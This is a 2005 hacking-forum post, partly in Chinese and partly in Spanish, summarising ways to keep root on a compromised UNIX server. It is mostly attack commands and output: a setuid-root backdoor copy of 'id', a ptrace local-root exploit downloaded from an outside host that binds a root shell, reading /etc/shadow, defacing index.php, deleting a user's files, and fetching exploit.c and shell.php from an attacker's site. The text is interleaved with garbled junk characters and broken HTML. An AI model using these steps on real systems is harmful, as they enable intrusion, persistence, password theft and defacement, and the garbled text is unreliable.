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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
* e5 r9 J$ u' n$ P6 L4 Q<>1.</P>) @- {% \: X, L, `
<>[cnbird@localhost tmp]#id</P>* s4 r0 v+ D* v/ h+ [/ N6 e  C; r1 q
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>9 t( \! R/ }8 F% O& k
<>[cnbird@localhost tmp]#cp `which id ` .</P>
5 v/ v4 g% ^: Z0 g<>[cnbird@localhost tmp]#chown root ./id</P>0 n5 v6 u  b% ~" `! v
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
. ^) s5 h4 r! y7 ?<>[cnbird@localhost tmp]#ls -l ./id</P>" M2 o, e& H; {/ F7 ^, m& ]7 [
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P># o! k' ~# Z7 s  r- F) H% ~4 t
<>[cnbird@localhost tmp]#exit</P>
' n0 ]- s# ]0 Q( E: ?. u* u+ b<>[cnbird@localhost tmp]$id</P>2 u; w( ^4 k4 ?. j  R& K
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>8 k: t7 G2 q7 \# h# B% C5 N
<>[cnbird@localhost tmp]$./id </P>
) y' r6 q( W& U& @* V  }$ }; `' G<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>4 v  B) U. g; K" T
<>2.利用ptrace成为root的方法</P>0 G3 R8 Z, M4 {4 {+ E" J
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace' w* d) c, l1 J3 M0 J8 {0 C
-&gt; Parent's PID is 2313. Child's PID is 2314.
) Y- `- S+ a. \( ~$ d-&gt; Attaching to 2315...
! H. t1 u0 y6 _& e3 f7 ?% U' y-&gt; Got the thread!!  P# g6 }' X1 u4 @3 g5 C4 D, r8 T
-&gt; Waiting for the next signal...
: h% n& x8 a) y* l-&gt; Injecting shellcode at 0x4000e85d/ L" h! x7 c5 P  t
-&gt; Bind root shell on port 24876... =p
3 j: z5 O9 Z0 M! M-&gt; Detached from modprobe thread.
: V, k8 M) f% i8 u4 M-&gt; Committing suicide.....</P>8 R$ U& ^5 @: y: V
<>[bash]# id
. v# y4 ]: D3 _* t$ R8 Yuid=0(root) gid=0(root) groups=0(root)</P>
; n8 k* S8 l# S6 j: e( d* w" d3 Q<>ara ver los dominios que hay en el server:4 V2 l. T4 Z4 L3 t. K, I
---------------------------------------------------------; C& q+ i# X6 y0 g
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
* {  m" h! i; j) q% b4 f' G5 kcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios# T' R& q! e7 j9 \
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales& Y! R7 o: I6 |1 _' D
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
, K1 s8 w9 H0 {+ n5 xcat /etc/userdomains &lt;&lt; Este es el mas comun/ f+ S$ P# q0 q; `# x
---------------------------------------------------------</P>6 ^/ \  s6 u  P
<>ara ver la version de kernel:/ O, W% Y+ F: h; o; _
---------------------------------------------------------- z# T; p+ q% G* d2 |- C, n; r
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
( Y8 _! ?% I- B  \---------------------------------------------------------</P>! K" S! B/ |; I+ e2 m1 W
<>ara modificar un index ya existente:/ ^8 f( y# Z" h+ N) N
---------------------------------------------------------
4 E$ L8 R& m2 j! L- z. {6 @echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido6 b- k2 a6 r  [& T2 T
---------------------------------------------------------</P>
; A6 l3 O5 K) w) t. T9 X8 s, i<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
: M; L. S+ G- I; Z# H$ h1 Y---------------------------------------------------------! Q0 m: }3 D8 g6 ^) k; z
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
5 f6 i- ], Z3 f" m) X5 v: icd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" 9 e( T$ E$ u% |8 [! \- c5 Q
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
  U% t' N/ U+ i, E$ e9 g0 dcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
9 {1 ~* Q  F* [) K6 l5 Y; EHasta aqui termina el proceso para un exploit.  K5 R: U: H- p" @! X8 O& Y3 K; x
---------------------------------------------------------</P>
: N# k+ r6 g+ t  G) n8 R! U7 k" W/ T<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
$ `9 x3 f# a* C---------------------------------------------------------- i! U' X& f3 D
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root." `; p2 f2 N$ @2 R- n
---------------------------------------------------------</P>3 L' ]  A8 a( d2 A  X3 Z. T; @
<>Borrar un Ficher/ @! a$ b6 }0 \' h0 u3 j
---------------------------------------------------------0 a0 ]. N) S' \! Y+ n8 d( p  }/ ]
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm, x# ?, {' ]* j4 ], D) {: b
---------------------------------------------------------</P>- S: o, G6 n' r" q
<>Subir un ficher
5 c% @9 |1 f( R9 J8 G0 d' ^! G---------------------------------------------------------0 Q1 f) n+ n1 ~+ I1 X5 t
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
# c# ~, i1 r9 I2 s/ z" z4 `: g<>1 T5 l1 ~$ Z  n# T9 x2 m2 ~
<CENTER></CENTER>
zan
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